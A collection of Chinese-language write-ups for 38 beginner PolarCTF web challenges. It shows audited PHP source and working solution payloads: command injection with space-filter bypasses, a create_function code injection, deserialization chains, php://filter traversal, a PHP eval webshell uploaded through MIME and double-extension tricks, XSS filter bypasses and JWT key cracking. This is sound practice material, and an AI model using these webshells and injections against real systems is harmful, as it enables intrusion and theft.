polarctf_web-简单题
1.题目:[swp]
考点:
(1)缓存文件(swp文件)
(2)preg_match
函数绕过
题目来源:Polarctf-web-[swp]
解题:
- 用御剑扫目录,扫出"url/index.php",猜测index.php即为产生swp的文件
- 输入"url/.文件名.swp"访问生成的swp文件
代码缩进有点乱,选择查看源代码
- 代码审计
function jiuzhe($xdmtql){
return preg_match('/sys.*nb/is',$xdmtql); # 返回'/sys.*nb/is'是否匹配$xdmtql的结果,匹配为1,不匹配为0
}
/*
正则表达式 `/sys.*nb/is` 的含义如下:
1. `/` - 正则表达式的开始和结束分隔符
2. `sys` - 精确匹配字母 "sys"
3. `.*` - 匹配任意字符(除换行符外)零次或多次
- `.` 匹配任意单个字符
- `*` 表示前一个元素可以出现零次或多次
4. `nb` - 精确匹配字母 "nb"
5. `is` - 正则表达式的修饰符(标志)
- `i` 表示不区分大小写匹配
- `s` 表示单行模式(使 `.` 也能匹配换行符)
这个正则表达式会匹配包含 "sys" 后面跟着任意字符(包括换行符,因为用了 s 修饰符),然后接着 "nb" 的字符串,并且匹配时不区分大小写。
例如它会匹配:
- "sys123nb"
- "Sys\nalert\nNb"
- "SYSTEM NOTEBOOK"(如果整个字符串被视为一个整体)
*/
$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){ # 检测$xdmtql是否是数组,如果不是则进入里层判断
if(!jiuzhe($xdmtql)){ # 检测$xdmtql是否匹配'/sys.*nb/is',如果不匹配则进入里层判断
if(strpos($xdmtql,'sys nb')!==false){ # 检测$xdmtql中'sys nb'的起始位置(此处主要用来判断$xdmtql中是否存在'sys nb',如果存在则输出flag)
echo 'flag{*******}';
}else{
echo 'true .swp file?';
}
}else{
echo 'nijilenijile';
}
}
分析结果:需要用post方法传递一个xdmtql
参数;该参数不能是数组,故不可以进行数组绕过;要求这个参数又匹配/sys.*nb/is
,又要求这个参数含有sys nb
,产生矛盾
- 传递足够长的数据使
preg_match
函数失效(利用PCRE回溯次数限制绕过)
import requests
data = {"xdmtql": "sys nb" + "aaaaa" * 1000000}
res = requests.post('http://b56a81ab-4248-40aa-a5fe-bf252c2cd190.www.polarctf.com:8090/',
data=data, allow_redirects=False) # 此处需要输入自己对应的url
print(res.content)
# pre_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到
# allow_redirects=False 表示禁止自动处理重定向。如果服务器返回重定向响应(如 302),requests 不会自动跟随重定向。
获得flag:flag{4560b3bfea9683b050c730cd72b3a099}
2.题目:[robots]
考点:
爬虫协议(robots.txt)
题目来源:polarctf-web-[robots]
解题:
查看爬虫协议robots.txt文件
查看得到的url,得到flag
3.题目:[简单rce]
考点:
(1)RCE(eval函数)
(2)执行函数(passthru函数)
(3)/
顶级(根)目录查看
(4)sort排序查看函数
题目来源:Polarctf-web-[简单rce]
解题:
代码审计
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
function no($txt){ # WAF:检测$txt是否匹配这些命令,如果不匹配则返回$txt(即执行)
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){ # 要求get传参sys,post传参yyds=666,满足则执行no($_GET['sys']
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?> nonono
分析结果:post传参yyds=666
,get传参sys,如果传递的sys绕过了WAF
,则执行sys命令,可利用sys传参实现任意代码执行
由于未过滤执行函数passthru()
,故可以利用该函数实现任意代码执行
(1)sys=passthru('ls');
查看当前路径下有什么文件,仅有一个index.php文件
(2)sys=passthru('sort%09index.php');
sort
:Linux 系统命令,用于对文件内容排序并输出内容。%09
:URL 编码的 水平制表符(\t
),在 Shell 中相当于空格。
查看index.php文件,该文件即为初始显示的前端页面,无利用点
(3)sys=passthru('ls%09/');
查看顶级目录(根目录)下有什么文件
看到存在可疑文件flag
(4)sys=passthru('sort%09/flag');
排序并输出flag文件
(5)也可以使用sys=passthru('vi%09/flag');
4.题目:[rce1]
考点:
(1)RCE(exec函数)
(2)空格绕过
(3)执行函数(exec函数)
(4)闭合(ping命令闭合)
题目来源:Polarctf-web-[rce1]
解题:
这段代码实现了一个简单的 Ping 测试工具,用户可以通过表单提交一个 IP 地址,服务器会执行 ping 命令并返回结果。
- 命令注入漏洞 (高危)
漏洞位置:
$cmd = "ping -c 4 {$ip}";
和exec($cmd, $res);
问题描述: 代码仅过滤了空格字符,攻击者可以使用以下方式绕过:
- 使用制表符
%09
代替空格 - 使用
${IFS}
(Bash 内部字段分隔符)代替空格(本题使用这个) - 使用重定向符号
<
或>
不需要空格 - 使用
;
、&&
、||
等命令连接符
- 使用制表符
攻击示例:
127.0.0.1;cat${IFS}/etc/passwd 127.0.0.1%0als${IFS}-l
- 输入验证不足 (中危)
- 问题描述: 仅检查了是否包含空格,没有进行有效的 IP 地址格式验证
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) { # 检测ip是否含有空格,如果不含有则进入里层,m用于存储匹配的数组
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res); # 执行cmd命令,res用于存储命令的每一行输出
} else {
$res = $m;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ping</title>
</head>
<body>
<style>
html{
height:100%;
}
body{
padding: 0;
margin: 0;
background: url(1.png);
background-size: 100% 100%;
position: absolute;
}
</style>
<h1>就过滤了个空格,能拿到flag算我输</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
用分号闭合ping命令,输入ls
,点击"Ping"查看当前目录文件
使用命令查看可疑文件,由于过滤了空格,此处使用${IFS}进行绕过:;cat${IFS}fllllaaag.php
点击"Ping"
成功回显,查看源码获得flag
5.题目:[某函数的复仇]
考点:
匿名构造函数(create_function)
题目来源:polarctf-web-[某函数的复仇]
解题:
代码审计:
<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
$shaw = $_POST['shaw'];
$root = $_GET['root'];
if(preg_match('/^[a-z_]*$/isD',$shaw)){
if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
$shaw('',$root);
}else{
echo "Almost there^^";
}
}
}
?>
正则表达式 /^[a-z_]*$/isD 讲解
^:这是一个锚点,表示匹配字符串的开始。它确保了正则表达式从字符串的最开始位置开始匹配。
[a-z_]:这是一个字符集,它匹配小写字母(a-z)和下划线(_)。在这个字符集内,任何一个字符都会被认为是有效的匹配字符。
*:这是量词,表示匹配前面的字符集零次或多次。也就是说,这个正则表达式会匹配由小写字母和下划线组成的字符串,长度可以为零(空字符串也可以匹配)。
$:这是另一个锚点,表示匹配字符串的结束。它确保了正则表达式从字符串的最末尾结束匹配。
i(修饰符):这是一个正则表达式的标志,表示忽略大小写。在这个表达式中,a-z 会匹配所有字母,无论是大写还是小写。因此,[a-z_] 会匹配字母(大小写都可以)和下划线。
s(修饰符):这个修饰符表示“dotall”模式,在这个模式下,.(点号)可以匹配换行符。虽然这个正则表达式本身并没有使用.,但如果它用于更复杂的表达式中,s标志会让dot匹配所有字符,包括换行符。
D(修饰符):这是“Unicode修饰符”的一个变种。它限制了正则表达式的匹配字符只能是单字节的字符,在一些特定的环境中,D可能会影响匹配行为,但它在普通正则表达式中并不常见。
使用动态创建匿名函数的函数create_function
解题payload:
create_function
漏洞详细解析
当create_function('', $root)
执行时,它在PHP内部实际上是这样工作的:
PHP会动态创建一个匿名函数,大致如下:
phpfunction anonymous() { 这里是$root的内容 }
当我们传入
$root = }system(%22s\ort%20/flag%22);/*
时,PHP实际生成的代码就变成了:phpfunction anonymous() { }system("s\ort /flag");/* }
注意看第一个
}
,它提前闭合了函数定义的大括号,使后面的代码跳出了函数体的范围接着
system("s\ort /flag")
会作为独立的PHP代码执行,而不是函数体内的代码最后
/*
是多行注释的开始,它注释掉了后面所有内容(包括函数定义末尾多余的}
),防止PHP解析出语法错误
6.题目:[$$]
考点:
(1)var_dump函数
(2)超全局变量(GLOBALS)
题目来源:Polarctf-web-[$$]
解题:
代码审计
<?php
/*
PolarD&N CTF
*/
highlight_file(__file__);
error_reporting(0);
include "flag.php";
$a=$_GET['c']; # get传参c并赋值给a
if(isset($_GET['c'])){ # 如果传参了c,进行匹配
if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){ # 过滤了大部分的字符,不允许$a含有
die("oh on!!!");}
else{
eval("var_dump($$a);");}}
var_dump函数会列出变量的基本属性包括值
使用GLOBALS超全局变量
?c=GLOBALS
这会显示所有全局变量,包括$flag
7.题目:[签到题]
考点:
(1)身份鉴别(篡改cookie)
(2)php伪协议
(3)目录遍历及其绕过
题目来源:Polarctf-web-[签到题]
解题:
抓包,将cookie字段的didi=no
改为didi-yes
,点击发送得到一段编码
进行base64解码得到一个路径 ./data/index.php
查看该url
代码审计
<?php
error_reporting(0);
$file = $_GET['file'];
if(!isset($file)) # 如果file参数未设定,则file赋值为1
$file = '1';
$file = str_replace('../', '', $file); # 过滤目录遍历符号"../"
include_once($file.".php");
highlight_file(__FILE__);
?>
使用php伪协议和双写绕过(测试到向上穿越了四层目录):
?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag
再进行base64解码得到flag
8.题目:[php very nice]
考点:
(1)序列化与反序列化
(2)魔术方法(__destruct())
(3)RCE(eval函数)
题目来源:Polarctf-web-[php very nice]
解题:
代码审计
<?php
highlight_file(__FILE__);
class Example
{
public $sys='Can you find the leak?';
function __destruct(){ # 销毁类时自动调用
eval($this->sys); # 将变量sys当做代码执行
}
}
unserialize($_GET['a']); # 将get输入的a进行反序列化
?>
因此利用sys变量构造指令,并将类其进行序列化
<?php
class Example
{
public $sys="system('ls');";
function __destruct(){ # 销毁类时自动调用
eval($this->sys); # 将变量sys当做代码执行
}
}
$a = new Example();
echo serialize($a);
?>
序列化输出结果
O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}
传参
继续构造命令,获取flag.php
文件(多次测试后,发现cat被过滤了,可以用tac/sort)
<?php
class Example
{
public $sys="system('tac flag.php');";
function __destruct(){ # 销毁类时自动调用
eval($this->sys); # 将变量sys当做代码执行
}
}
$a = new Example();
echo serialize($a);
?>
O:7:"Example":1:{s:3:"sys";s:23:"system('tac flag.php');";}
传参得到flag
9.题目:[ezupload]
考点:
(1)文件类型绕过
(2)php一句话木马
题目来源:polarctf-web-[ezupload]
解题:
点击上传按钮,提示只能上传GIF文件
上传木马文件shell.php
并抓包
木马内容为:
<?php
@eval($_POST['admin']);
?>

将mime类型改为:image/gif

放包得到木马位置
使用蚁剑连接
在www目录下找到flag.php文件
查看得到flag
10.题目:[upload]
考点:
(1)扩展名双写绕过
(2)php一句话木马
题目来源:polarctf-web-[upload]
解题:
查看网页源代码,看到注释?action=show_code
访问该url,看到源码
代码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']); # 将文件名取出并去除前后空格
$file_name = str_ireplace($deny_ext,"", $file_name); # 如果文件名中存在黑名单中的扩展名则去除
$temp_file = $_FILES['upload_file']['tmp_name']; # 获取文件上传的临时路径
$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name; # 构造新的文件路径(此处目的是构造新的文件名)
if (move_uploaded_file($temp_file, $img_path)) { # 将文件名改为 随机数.文件名
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
将木马名从shell.php
改为shell.pphphp
,进行扩展名双写绕过
上传成功,不知道木马的url,利用御剑进行目录扫描,扫到了/upload
,进行访问
用蚁剑进行连接,在根目录下拿到flag
注:上传的木马url也可以直接查看源码
11.题目:[seek flag]
考点:
(1)爬虫协议
(2)身份鉴别(篡改cookie)
题目来源:Polarctf-web-[seek flag]
解题:
- 查看源代码
提示爬虫协议,输入url/robots.txt
查看爬虫协议获得第三段flag
- 抓包看到cookie值为"id=0"
右键发送到重放器(Repeater),发送后切换到重放器模块
点击发送,在响应体的 "Flag2" 字段中得到第二段flag
- 在重放器中将cookie值篡改为"id=2",点击发送,在响应体中得到第一段flag
- 三段合在一起即为最终提交的flag:
flag{7ac53ca8737a70f029dc0ad71dadd11}
12.题目:[cookie]
考点:
身份鉴别(篡改cookie)
题目来源:polarctf-web-[cookie]
解题:
根据题目cookie
,f12,在存储中找到cookie
将cookie值改为admin
并保存,刷新得到flag
13.题目:[jwt]
考点:
身份鉴别(解密jwt令牌)
题目来源:Polarctf-web-[jwt]
解题:
登录时随意输入提示无此用户,故随便注册一个账户
注册成功后进行登录,根据题目名称"jwt",故进行抓包获取token(因为要登录后才会得到token反馈,故在登录后再刷新页面进行抓包)
将数据包发送至重放器(Repeater)模块,并将抓到的JWT复制下来进行JWT解码
解码后发现无秘钥,故进行秘钥爆破
得到秘钥为SYSA
,将数据包发送,在响应包中看到提示flag为admins
用户的密码
故将用户名改为admins
后进行编码,尝试多此后发现用户名为admin
才对,提示也是给了一个陷阱
将以前的token改为修改并编码后的token后发包,发现用户名成功更改为admin
将改好的包复制并替换代理模块中抓到的包,然后放行
前端成功回显用户名为admin
点击个人中心,将新抓到的包中的原始token也改为修改后的admin的token,然后放行
看到前端成功拿到flag
14.题目:[iphone]
考点:
用户代理(user-agent伪造)
题目来源:Polarctf-web-[iphone]
解题:
根据提示点击按钮
显示需要在iphone或ipad端进行查看,点击查看源码,注释中提示修改UA
抓包将User-Agent修改为iphone或ipad,然后放行即可获得flag
15.题目:[XFF]
考点:
转发代理的客户端原始 IP(X-Forwarded-For伪造)
题目来源:Polarctf-web-[XFF]
解题:
抓包并发送至重放器模块(Repeater)
根据提示修改X-Forwarded-For字段(此处包中无此字段,手动添加)来源ip为1.1.1.1
,修改后点击"发送",响应包中获得flag
16.题目:[蜜雪冰城吉警店]
考点:
前端代码篡改(id值篡改)
题目来源:Polarctf-web-[蜜雪冰城吉警店]
解题:
题目提示 "点到第9个隐藏款奶茶的单子,就会给你flag"
查看源码,发现id
对应奶茶款式
f12,firefox浏览器选择"查看器"板块(google浏览器选择"Elements"板块),找到任意一个id
篡改为9
此处将id=1
改为id=9
再次回到页面点击原来的第一款,得到flag
17.题目:[签到]
考点:
前端代码篡改(按钮属性篡改)
题目来源:Polarctf-web-[签到]
解题:
观察到"提交按钮"点不了,f12,切换到查看器模块
把按钮的"disabled"属性删除,然后点击"提交",提示提交ilovejljcxy
即可获得flag
找到输入框的名称为key
post传参key=ilovejljcxy
即可获得flag
18.题目:[召唤神龙]
考点:
(1)查看网页源代码
(2)main文件
(3)Jsfuck代码混淆
题目来源:Polarctf-web-[召唤神龙]
解题:
f12(会出现失效的情况,可以手动开启开发者模式)
切换到"Sources"模块
查看到main.js
文件时看到可疑字符串
为Jsfuck代码混淆编码,解码得到flag
在线工具:url
19.题目:[GET-POST]
考点:
请求方式
题目来源:Polarctf-web-[GET-POST]
解题:
根据题意需要get传参id=1
,post传参jljcxy=flag
点击"Execute",获得flag
抓包同理
方法改为POST(原GET改为POST),URL中添加?id=1
(GET参数)
新增请求头:
Content-Type: application/x-www-form-urlencoded
(POST表单格式)Content-Length: 11
(jljcxy=flag
的字节长度)
添加请求体:jljcxy=flag
点击"发送",获得flag
20.题目:[Login]
考点:
爆破(递增爆破)
题目来源:Polarctf-web-[Login]
解题:
查看网页源码,观察到注释了20200101 20200101
尝试输入
点击提交,显示登录成功,但无任何可疑回显
尝试修改学号和密码,发现随着学号的增大,逐渐回显字母,而密码部分没做校验(除了20200101),输入任意密码都可正常回显
抓包并将包发送到爆破模块(Intruder),添加username为爆破参数
设置Payload为数值类型,生成类型为Sequential(顺序的),间隔为1
点击"开始攻击",查看响应包学号(用户名)为20200102到20200111都有一个相应字符,将字符拼接起来即为flag
...
最终flag为:flag{dlcg}
21.题目:[爆破]
考点:
(1)爆破(字符集组合爆破)
(2)md5爆破
题目来源:Polarctf-web-[爆破]
解题:
代码审计
<?php
error_reporting(0);
if(isset($_GET['pass'])){
$pass = md5($_GET['pass']); # 将pass的值修改为pass参数值的md5值
if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
# pass的第一位,第十四位,第十七位相等(切片位置从0开始)
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
# 如果pass的第一位、第十四位、第十七位转化为数值后相加,再除以第一位等于第三十一位转化为数值,那么输出flag
include('flag.php');
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
方法一:脚本爆破
- 期待字符串长度为2的爆破
<?php
error_reporting(0);
$string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
# echo strlen($string); #62位
for ($a = 0; $a < 62; $a++) {
for($b = 0;$b < 62;$b++){
$flag = $string[$a].$string[$b];
$pass = md5($flag);
if (substr($pass, 1, 1) === substr($pass, 14, 1) && substr($pass, 14, 1) === substr($pass, 17, 1)) {
if ((intval(substr($pass, 1, 1)) + intval(substr($pass, 14, 1)) + substr($pass, 17, 1)) / substr($pass, 1, 1) === intval(substr($pass, 31, 1))) {
echo $flag . "\n";
}
}
}
}
?>
- 期待字符串为数字的爆破(不固定位数)
<?php
$i = 0;
while(true) {
$pass = md5($i);
if($pass[1] === $pass[14] && $pass[14] === $pass[17]) {
$x = intval($pass[1]);
$y = intval($pass[31]);
if((3*$x)/$x === $y) {
echo "Found: $i\n";
echo "MD5: $pass\n";
break;
}
}
$i++;
}
?>
方法二:抓包爆破
传参pass为随意的一个值进行抓包
发送到爆破模块(Intruder),将pass添加为Payload
设置Payload爆破规则:爆破,尝试使用默认字符集、长度为2的字符串爆破
点击"开始攻击",点击"长度"进行排序,得到不同于其他响应包长度的包,点击查看获得flag
22.题目:[被黑掉的站]
考点:
(1)信息搜集(目录扫描)
(2)爆破(字典爆破)
题目来源:Polarctf-web-[被黑掉的站]
解题:
查看源代码,标题中提示DIR
,使用御剑进行目录扫描
扫描得到可疑文件index.php.bak
和shell.php
查看index.php.bak
,看到一个字典
查看shell.php
,是一个输入验证
然后抓包爆破
发送到爆破模块,添加Payload
将字典内容复制(原始字典页面中无换行,可查看源码,有换行),设置Payload
点击"开始攻击",点击"长度"进行排序,得到flag
23.题目:[浮生日记]
考点:
(1)XSS
(2)弹窗
(3)双写绕过
(4)闭合(输入框闭合)
题目来源:Polarctf-web-[浮生日记]
解题:
查看源码,注释中提示"弹个窗..."
使用javascript编写弹窗脚本<script>alert(1)</script>
点击"写日记",发现script被过滤了
双写绕过<scscriptript>alert(1);</scscriptript>
提交后未执行
查看源码,发现value(严格上讲应该是输入框将javascript脚本包含了,导致不可执行)未闭合,先让其闭合`
提交得到flag
24.题目:[干正则]
考点:
(1)变量解析函数(parse_str函数)
(2)变量覆盖
(3)RCE
(4)闭合(ping命令闭合)
题目来源:polarctf-web-[干正则]
解题:
代码审计
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
# 假设a[0]=www.baidu.com,ip=127.0.0.1,则'ping -c 2 ' . $a[0] . $ip结果为
# ping -c 2 www.baidu.com 127.0.0.1
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
payload
?id=a[0]=www.polarctf.com&cmd=|tac f*
讲解
?id=a[0]=www.polarctf.com
"@parse_str($id);" 解析为$a = array(0 => "www.polarctf.com")
覆盖掉字符串$a = "www.baidu.com",即将原来的a[0]=w改为了a[0]=www.polarctf.com
绕过if ($a[0] == 'www.polarctf.com')
cmd=|
|管道符用于闭合"ping -c 2 ' . $a[0]",也可以用";"闭合
tac f*
执行的命令,获取flag.php
25.题目[cool]
考点:
(1)RCE(eval函数)
(2)执行函数绕过(passthru函数)
(3)模糊匹配绕过字符串
题目来源:polarctf-web-[cool]
解题:
<?php
if(isset($_GET['a'])){
$a = $_GET['a'];
if(is_numeric($a)){ # a不能是数字
echo "no";
}
if(!preg_match("/flag|system|php/i", $a)){ # 简单WAF过滤
eval($a); # eval用于执行字符串中的PHP代码
}
}else{
highlight_file(__FILE__);
}
?>
构造payload,绕过system
及flag
过滤
?a=passthru("cat f*");
26.题目:[覆盖]
考点:
(1)变量解析函数(parse_str函数)
(2)变量覆盖
(3)闭合(ping命令闭合)
(4)文件名模糊匹配
题目来源:polarctf-web-[覆盖]
解题:
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') { # 需要利用parse_str覆盖原来的a
$ip = $_GET['cmd'];
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip); # 闭合ping命令并rce
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
parse_str()
变量覆盖,payload:
?id=a[0]=www.polarctf.com&cmd=|tac f*
27.题目:[PHP反序列化初试]
考点:
(1)序列化与反序列化
(2)魔术方法(__wakeup())
(3)魔术方法(__toString())
(4)RCE(shell_exec函数)
题目来源:polarctf-web-[PHP反序列化初试]
解题:
代码审计
<?php
class Easy{
public $name;
public function __wakeup() # unserialize函数被使用时该魔术方法被自动调用
{
echo $this->name;
}
}
class Evil{
public $evil;
private $env;
public function __toString() # 把类当作字符串使用时触发
{
$this->env=shell_exec($this->evil); # 存在RCE
return $this->env;
}
}
if(isset($_GET['easy'])){
unserialize($_GET['easy']);
}else{
highlight_file(__FILE__);
}
# 链子:Easy.__wakeup()->Evil.__toString()
# 个人理解:题目中的unserialize触发__wakeup(),__wakeup()中的"echo $this->name;"触发__toString(),最后RCE
解题脚本
- 查看文件
<?php
class Easy{
public $name;
}
class Evil{
public $evil;
public $env; # 该属性权限改为public,不然序列化时会被解析为Evilenv
}
$a = new Easy();
$b = new Evil();
$a->name = $b;
$b->evil = "ls";
echo serialize($a);
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:3:"env";N;}}
- 查看flag
<?php
class Easy{
public $name;
}
class Evil{
public $evil;
public $env;
}
$a = new Easy();
$b = new Evil();
$a->name = $b;
$b->evil = "tac f*";
echo serialize($a);
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}
28.题目:[机器人]
考点:
(1)爬虫协议(robots.txt)
(2)信息搜集(目录扫描)
题目来源:polarctf-web-[机器人]
解题:
根据提示想到爬虫协议robots.txt
,得到第一段flag
再查看不允许查看的url
被拒绝访问,使用御剑进行目录扫描,扫到了:
http://2d4ab33e-49fd-42c5-b4d0-6df7f0faa51c.www.polarctf.com:8090/27f5e15b6af3223f1176293cd015771d/flag.php
访问得到第二段flag
29.题目:[扫扫看]
考点:
信息搜集(目录扫描)
题目来源:polarctf-web-[扫扫看]
解题:
根据题意进行目录扫描
访问flag.php
查看源码得到flag
30.题目:[debudao]
考点:
身份鉴别(cookie)
题目来源:polarctf-web-[debudao]
解题:
查看源码得到一个假的flag
f12查看存储中的cookie,存着一个flag,%7B、%7D
分别对应{、}
,提交通过:flag{72077a55w312584wb1aaa88888cd41af}
31.题目:[审计]
考点:
(1)正则表达式
(2)特殊md5值
题目来源:polarctf-web-[审计]
解题:
no no no! <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['xxs'])) { # 要求get传参xxs
$input = $_GET['xxs'];
if (is_array($input)) { # 要求xss不为数组
die("错误:输入类型不允许为数组。");
}
if (!preg_match("/^0e[0-9]+$/", md5($input))) { # 要求xxs的md5值以0e开头,且后边跟着数字
die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
}
if (!is_numeric($input)) { # 要求xxs为数字
die("错误:输入必须是数字。");
}
die("恭喜:".$flag);
} else {
die("错误:必须设置正确参数。");
}
?>
错误:必须设置正确参数。
240610708
的md5值为0e462097431906509019562988736854
,满足题意,payload:
?xxs=240610708
得到flag
32.题目:[upload1]
考点:
(1)文件上传(php一句话木马)
(2)文件后缀绕过
(3)js代码禁用
题目来源:polarctf-web-[upload1]
解题:
题目要求上传shell,但又只能上传图片格式文件
查看源码是使用js进行校验文件类型的
使用插件Javascript Switcher禁用js代码
调成灰色即代表禁用js,shell内容
<?php
@eval($_POST['admin']);
?>
点击上传,上传成功
使用蚁剑连接,得到flag
33.题目:[投喂]
考点:
序列化与反序列化
题目来源:polarctf-web-[投喂]
解题:
根据提示需要post传参data
,data
为序列化字符串,序列化对象为User
,包括两个属性:username、is_admin
,其中要求is_admin=true
<?php
class User{
public $username;
public $is_admin=true;
}
$data = new User();
echo serialize($data);
?>
O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}
得到flag
34.题目:[来个弹窗]
考点
(1)XXS(弹窗)
(2)双写绕过
题目来源:polarctf-web-[来个弹窗]
解题:
尝试弹窗
<script>alert(1);</script>
全部被过滤了,先尝试双写<
<<script>alert(1);</script>
再尝试双写script
<<sscriptcript>alert(1);</script>
该角色是白金之星
,计算其md5值提交即可
35.题目:[0e事件]
考点:
特殊md5值
题目来源:polarctf-web-[0e事件]
解题:
根据题意上传一个特殊的字符串240610708
,其md5值以0e
开头
36.题目:[rapyiquan]
考点:
(1)PHP 的参数名转换规则、Shell解析特性
(2)过滤
(3)RCE
题目来源:polarctf-web-[rapyiquan]
解题:
代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
$url = $_SERVER['REQUEST_URI']; # 检测请求url,不能含有"_"
function checkUrlParams($params) {
if (strpos($params, '_') !== false) {
return false;
}
return true;
}
if(checkUrlParams($url)){
$cmd=$_GET['c_md'];
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { # 过滤
echo("badly!");
} else {
echo `$cmd`; # RCE
}
}else{
echo "$url";
echo "<br>";
echo "Hack";
}
PHP 的参数名转换规则
PHP 对于传入的 GET/POST 参数名有以下自动转换规则:
- 方括号
[ ]
会被转换为下划线_
,例如:c[md
→c_md
- 空格会被转换为下划线 例如:
c md
→c_md
- 点号
.
也会被转换为下划线 例如:c.md
→c_md
Shell解析特性
在Unix/Linux shell环境中,反斜杠(\
)有以下特性:
- 当反斜杠后面跟着一个普通字符时,反斜杠通常会被忽略
l\s
→ shell解析时会去掉反斜杠 → 变成ls
这里我使用[
绕过_
,即用c[md
代替c_md
,而ls
也被过滤了,故使用l\s
进行绕过
?c[md=l\s /
查看flag
查看源码得到flag
37.狗黑子的RCE
考点:
(1)过滤
(2)RCE
题目来源:polarctf-web-[狗黑子的RCE]
解题:
代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
$gouheizi1=$_GET['gouheizi1'];
$gouheizi2=$_POST['gouheizi2'];
$gouheizi2=str_replace('gouheizi', '', $gouheizi2); # 过滤gouheizi2值中的gouheizi
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) { # 过滤
echo("badly!");
exit;
}
if($gouheizi2==="gouheizi"){
system($gouheizi1); # rce
}else{
echo "gouheizi!";
}
?>
gouheizi!
?gouheizi1=l\s /
gouheizi2=ggouheiziouheizi # 双写绕过
查看flag
?gouheizi1=c\at /f\lag.php
38.简单的导航站
考点:
(1)md5强比较
(2)字典爆破
题目来源:polarctf-web-[简单的导航站]
解题:
随便注册一个账号,然后登录
点击"查看用户列表"
md5强比较,用数组绕过,得到用户名列表字典
